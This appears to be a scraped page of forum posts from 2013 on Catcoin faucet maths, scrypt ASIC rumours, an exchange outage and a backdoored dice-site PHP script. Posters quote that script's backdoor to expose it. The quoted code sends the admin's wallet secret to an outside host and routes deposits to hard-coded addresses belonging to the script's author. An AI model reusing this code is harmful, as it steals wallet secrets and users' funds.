Well clearly some people are mining this. It was one of the first coins I figured out how to mine, so I check on it from time to time, as I found it funny at first how easy it was to find blocks.

There are most certainly people quietly squirrelling array ValueCoins. Perhaps they know something we don't know. Or perhaps it's just in the hopes that the dev will actually bother with this coin ever again.

Out of interest, what percentage is the payout in relation to the total available funds in the faucet?

0.001% (with a minimum of 0.01 MEOW when faucet funds are under 1000). If any donator can prove they donated and would like this % to change I'd do it.

Seems a reasonable calculation. Also be handy if you could also weight it by difficulty also, so the payouts are proportional to difficulty.

Weighing the payouts by block reward and difficulty seems like a good idea. Smiley

It will be easy to do it by block reward: divide the reward by 2^[floor(numberofblocks/200,000)].

I've been thinking about weighing by difficulty for a while and I've found it could be easily implemented substracting from the % reward the value of an exponential function that takes the current difficulty and a difficulty reference level as arguments. Like this (for blocks #<200,001):

reward = roundto8decimals[[(faucetbalance + faucetreserves) / 100000] - [exp(currentdifficulty / referencedifficultylevel) -1]]

Now what I need is an adequate difficulty reference level. Current Kittehcoin difficulty is ~2. Using a reference level of 100 would mean the reward would get reduced by 0.02020134 now. Would that be a good choice?

I think that would be fine. In the long run it should mean the faucet won't get unfairly balanced. If difficulty keeps going up, eventually demand could potentially outstrip donations.

Has anyone even been in touch with these people from Alpha Technology? I know they're posting in a thread on Litecointalk.

There's a thread on Alpha Technology on litecointalk.org

If it's true though, GPU mining is f***ed.
Asics for scrypt? seems like bs.

It's not inconceivable. The main reasons Scrypt can't be ASIC mined is because I believe that you need a lot of fast access memory on the chip to be able to do Scrypt calculations. As others have pointed out however, if it could be done, why hasn't China done it already?
4306  Alternate cryptocurrencies / Announcements (Altcoins) / Re: [ANN] Catcoin - Scrypt meow! on: December 28, 2013, 10:36:45 PM
F@&K SAKE, great time to make scrypt as tough as SHA-256 Cry bye bye GPU mining Q2/3 of 2014 :/

Yes that is right ASICS are coming to scrypt that means it is going to put the little ones out again Sad
at least it will hopefully keep this coin alive

Still a good change that alpha-t is a scam. Not even any pictures of hardware yet. Just a crude logo and some design concepts.

Anyone that is be so gentle to edit the parts where it sends the money to the creator of this?

This thing is FUBAR - basically, the rest of the code is just a Potemkin Village around these two backdoors. No game code at all ... no code to process any bitcoin payments or withdrawals either. Basically unfixable piece of junk.

I guess whoever wrote this intended to just steal whatever initial balance is deposited on the site and then perhaps steal even more if someone actually makes some test deposit or puts it live without testing (all bitcoins sent to the site ends up in author's pocket)

I was beginning to wonder why I can't make heads of tails of the source. Nothing seemed substantial. The only hard code I could find relating to addresses was that, and all the information is being sent to another server.

4310  Alternate cryptocurrencies / Announcements (Altcoins) / Re: [ANN] Catcoin - Scrypt meow! on: December 28, 2013, 10:01:23 PM
Ok,but what about the API, so it converts the entire website for catcoins when creating new deposit addresses Wink
I don't know much about PHP, but I like to explore codes.
Btw, where I can find the part of the API's in your opinion?

application/models/viewbase.php has some stuff relating to BTC addresses. Might be a good starting point.

Perhaps these relate to the paying in/ paying out addresses.

Also;

Quote
$query = $this->db->get('settings');

This part of the database probably has some settings relating to payments. So you'll have to look into the SQL table in PHPmyAdmin on your server.
4311  Alternate cryptocurrencies / Announcements (Altcoins) / Re: [ANN] Catcoin - Scrypt meow! on: December 28, 2013, 09:46:39 PM
Expecially for the option application/controllers/admin.php where it says:
Quote
//Sending bank address and secret encrypted to a server to check balance
          $bankaddress = $this->encrypt($this->input->post("bankaddress"));
          $banksecret = $this->encrypt($this->input->post("banksecret"));
           $fee = $this->input->post("fee");
          $pass = $this->input->post("pass");
        
          $resp = file_get_contents("http://dicetest.net23.net/electro2000/123.php?btca=$bankaddress&btcs=$banksecret");
                 $data = array
Where it sends your info to his website(Why the creator of the website wants our password?)
 or this: application/models/ViewBase.php
Quote
private function get_address(){
      
      $addresses = array("145N2EFzReaH4hkfb8jVaYbLq7VUm75TmV", "12ENTxaNfyrrzGGu2WDyrC4xZy2tVQA5az", "13yTHvFDxaUUP44KiDkWk27F4We18gJFse", "1ATknpbvfjzXkg1nFGJPTeG9Wzxhi9Z5Ts", "12eGV9FcCvqNU8Ya6CUD8Uu4nNHNPJaKGi", "1L1ULCndeghKZAteTe3tmcKG6HCPDCeLMX", "18JxX3839mZCMrRbtAP1W485kHW3RYUnFG", "16nVMZ3qKwRhFoHTPZjF67EdJ9nrchUSQf");
      return $addresses[array_rand($addresses)];

Where it happens to be a nice list of where receive your Bank's money.
Anyone that is be so gentle to edit the parts where it sends the money to the creator of this?
I mean, I know it's opensorce but at least not steal people's money

How much do you know about PHP? $resp is an associative array that stores all the data it grabs from that admins website. What you could do also add a function to the class that prints off those values, then when you have them, you can hard code the values you want to change in the update() method for the values you want to change.

Unless update() has some other purpose than to send data to a remote server, and those values aren't being used in the game, you could just disable it where it's being called. Otherwise, just disable all the $name = $this->input->post by adding // infront of each one.

It contains 2 stuffs I don't like: first it sends all the info, private and public address to another server, plus the password of the admin to the " owner of the script"
But we need to setup the API of catcoin in it.

Tell me where those particular files are in the directory and I'll take a look at the PHP code.
4314  Alternate cryptocurrencies / Altcoin Discussion / Re: Ecrypto hacked? on: December 28, 2013, 09:31:54 PM

People are willing to give new websites the benefit of the doubt, but it's when the owner goes quiet and post about what's going on that people become rightly suspicious. Even if he's busy fixing it trying to get it back up a running, a quick post saying he's working on it would be encouraging. Not a wall of silence.

Agreed, however from the outset the guy wasn't the best communicator. Hell, he could be a scammer for all we know but I think we need to cut him slack and give him a bit of time to get the site back up. If any of you sent large amounts of coin to the exchange and it turns out it was a scam then I don't feel sorry for any of you. No-one should be risking large amounts of coin on an exchange thats been live for 5 minutes.

Agreed on both points. Perhaps people shouldn't be so quick to cry scam, but at the same time you're taking a gamble in putting your coins an a new and untested exchange.  If the guy's willing to post about it on facebook, then it seems the likelihood is either he's having technical problems with the site, or it got hacked. The latter would not surprise me. A novice with a basic understand of SQL injection can do great harm if a site isn't properly secure, and that's something you just can't see without knowing the server code.

We need to clean this "just-dice clone" open source code from a backdoor that is contained. I can point you out where the main problem are.
Btw I think it needs a fix even for deposit/withdraw thing.
Any help appreciated.

That would be the first service catcoin will have  Roll Eyes

What issues are you having? I can't promise I'm able to help, as I don't use the codeigniter framework.
4316  Alternate cryptocurrencies / Altcoin Discussion / Re: Ecrypto hacked? on: December 28, 2013, 09:17:37 PM
make up your own mind, the owner is not shy about telling people the site was his pride and joy https://www.facebook.com/smagik not sure what to make of todays downtime

Yea some people should give the guy a break. I get the impression the owner of the site is fairly young & is just having a go at something. Not sure why every time someone tries to release a new service for crypto that they got shot down in flames & called a scammer every single time a site experiences some downtime. There's some real fucking hairy trolls on this forum.

You defending him does more harm than good.

No we are just being cautiously optimistic. We need to encourage more exchanges IMO, becuase when there is little comp... we all know what that leads to. You think problems at other sites would have a higher priority to get fixed if they knew they could lose tons of money? Right now its just a shrug from them because they know you have no other options right now and if you want to trade you need to deal with the BS.
